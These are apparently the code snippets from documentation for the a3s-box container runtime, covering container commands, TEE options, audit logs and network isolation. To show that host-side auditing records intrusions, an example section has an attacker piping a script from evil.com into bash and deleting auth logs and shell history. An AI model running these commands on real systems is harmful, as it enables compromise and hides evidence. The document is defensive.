# Simplest way - run nginx in background
a3s-box run -d --name web nginx:alpine

# With port mapping - map container port 80 to host port 8080
a3s-box run -d --name web -p 8080:80 nginx:alpine

# Full configuration - with network and volume
a3s-box run -d \
  --name web \
  --network mynet \
  -p 8080:80 \
  -v data:/app/data \
  nginx:alpine

# View running status
a3s-box ps

# View logs
a3s-box logs web -f

# Stop container
a3s-box stop web

# Start container
a3s-box start web

# Remove container
a3s-box rm web

# Execute commands in container
a3s-box exec -it web sh

# With resource limits
a3s-box run -d \
  --name web \
  -p 8080:80 \
  --memory 512m \
  --cpus 2 \
  nginx:alpine

# With health check
a3s-box run -d \
  --name web \
  -p 8080:80 \
  --health-cmd "curl -f http://localhost/ || exit 1" \
  --health-interval 30s \
  nginx:alpine

# With TEE security isolation (requires AMD SEV-SNP hardware)
a3s-box run -d \
  --name web \
  -p 8080:80 \
  --tee-enable \
  nginx:alpine

# Simulate TEE environment (works on any machine)
a3s-box run -d \
  --name web \
  -p 8080:80 \
  --tee-simulate \
  nginx:alpine

# Test if nginx is running properly
curl http://localhost:8080

Container process → Sentry (user-space kernel) → Host kernel

Container process → Guest kernel → Hypervisor → Host kernel

# Run container with gVisor
docker run --runtime=runsc -d nginx

# Requires Docker daemon configuration

# Standalone CLI, no configuration needed
a3s-box run -d nginx

# With TEE security
a3s-box run -d --tee-enable nginx

# Common attacker behavior after login
rm -f /var/log/auth.log
rm -f ~/.bash_history
history -c

┌─────────────────────────────────────┐
│  Container Interior (Guest VM)       │
│  - Application processes             │
│  - /var/log/auth.log (can be deleted)│
│  - ~/.bash_history (can be deleted) │
└─────────────────────────────────────┘
           ↓ All operations through Hypervisor
┌─────────────────────────────────────┐
│  Host Machine                        │
│  ~/.a3s/audit/audit.jsonl           │
│  (inaccessible to container)        │
└─────────────────────────────────────┘

# 1. Login to container
a3s-box exec -it web bash

# 2. Execute malicious commands
curl http://evil.com/malware.sh | bash

# 3. Try to cover tracks
rm -f /var/log/auth.log
history -c

{"id":"evt-001","timestamp":"2026-03-16T08:00:00Z","action":"exec_command","box_id":"web","actor":"cli","outcome":"success","message":"exec bash","metadata":{"user":"root","tty":true}}

{"id":"evt-002","timestamp":"2026-03-16T08:00:15Z","action":"exec_command","box_id":"web","actor":"cli","outcome":"success","message":"exec curl http://evil.com/malware.sh","metadata":{"user":"root"}}

{"id":"evt-003","timestamp":"2026-03-16T08:00:30Z","action":"exec_command","box_id":"web","actor":"cli","outcome":"success","message":"exec rm -f /var/log/auth.log","metadata":{"user":"root"}}

# Run container with TEE enabled
a3s-box run -d --name web --tee-enable nginx

# View all exec operations
a3s-box audit --action exec_command

# View operations for specific container
a3s-box audit --box web

# View failed operations
a3s-box audit --outcome failure

# View operations within time range
a3s-box audit --since "2026-03-16T08:00:00Z" --until "2026-03-16T09:00:00Z"

// Audit log write process (from source code)
pub fn log(&self, event: &AuditEvent) -> Result<()> {
    // 1. Serialize event
    let line = serde_json::to_string(event)?;

    // 2. Immediately write to disk
    file.write_all(line.as_bytes())?;

    // 3. Force flush to disk (prevent buffer loss)
    file.flush()?;

    // 4. Auto-rotate (prevent log overflow)
    if current_size >= max_size {
        rotate()?;
    }
}

pub enum NetworkMode {
    Tsi,           // TSI mode (default) - no network interface, vsock proxy
    Bridge,        // Bridge mode - real eth0, container-to-container communication
    None,          // No networking
}

# Default startup, no network specification needed
a3s-box run -d nginx

# Features:
# - No real network interface
# - Socket syscalls proxied to host via vsock
# - Most secure, minimal attack surface
# - Suitable for single-container applications

# Create network and join
a3s-box network create mynet
a3s-box run -d --name web --network mynet nginx

# Features:
# - Real eth0 network interface (via passt)
# - Containers can communicate directly
# - Supports DNS service discovery
# - Similar to Docker's bridge network

# Completely no network
a3s-box run -d --network none nginx

# Features:
# - Complete isolation, no network access
# - Suitable for offline computing tasks

pub enum IsolationMode {
    None,      // No isolation - all containers can communicate freely (default)
    Strict,    // Strict isolation - no container-to-container communication
    Custom,    // Custom rules - rule-based traffic control
}

# Create network, default no isolation
a3s-box network create mynet

# All containers can communicate freely
a3s-box run -d --name web --network mynet nginx
a3s-box run -d --name api --network mynet node:alpine
a3s-box run -d --name db --network mynet postgres

# web ↔ api ↔ db all can access each other

# Create strictly isolated network
a3s-box network create mynet --isolation strict

# Containers can only access external, cannot access each other
a3s-box run -d --name web --network mynet nginx
a3s-box run -d --name api --network mynet node:alpine

# web ✗ api (forbidden)
# web → Internet (allowed)
# api → Internet (allowed)

# Network policy configuration example (future support)
network:
  name: mynet
  isolation: custom
  ingress:
    - from: web
      to: api
      ports: [8080]
      protocol: tcp
      action: allow
    - from: api
      to: db
      ports: [5432]
      protocol: tcp
      action: allow
  egress:
    - from: "*"
      to: "*"
      ports: [443]
      protocol: tcp
      action: allow

pub struct PolicyRule {
    pub from: String,        // Source container name (supports "*" wildcard)
    pub to: String,          // Destination container name (supports "*" wildcard)
    pub ports: Vec<u16>,     // Allowed ports (empty = all ports)
    pub protocol: String,    // tcp/udp/any
    pub action: PolicyAction, // allow/deny
}

# Simplest, most secure
a3s-box run -d -p 8080:80 --name web nginx

# Features:
# - No container-to-container communication capability
# - Serves externally via port mapping
# - Minimal attack surface

# 1. Create network
a3s-box network create backend

# 2. Start services
a3s-box run -d --name db --network backend postgres
a3s-box run -d --name api --network backend node:alpine
a3s-box run -d --name web --network backend -p 8080:80 nginx

# 3. Container communication
# api can access database via "db:5432"
# web can access API via "api:3000"

# Tenant A network
a3s-box network create tenant-a --isolation strict
a3s-box run -d --name app-a --network tenant-a myapp

# Tenant B network
a3s-box network create tenant-b --isolation strict
a3s-box run -d --name app-b --network tenant-b myapp

# app-a and app-b completely isolated

# Create network
a3s-box network create mynet
a3s-box network create mynet --subnet 10.88.0.0/24 --gateway 10.88.0.1
a3s-box network create mynet --isolation strict

# View networks
a3s-box network ls
a3s-box network inspect mynet

# Connect/disconnect containers
a3s-box network connect mynet web
a3s-box network disconnect mynet web

# Delete network
a3s-box network rm mynet

# Start database
a3s-box run -d --name db --network backend postgres

# Start API (can access database via "db")
a3s-box run -d --name api --network backend \
  -e DATABASE_URL=postgresql://user:pass@db:5432/mydb \
  node:alpine

# Inside api container
curl http://db:5432  # Automatically resolves to db container's IP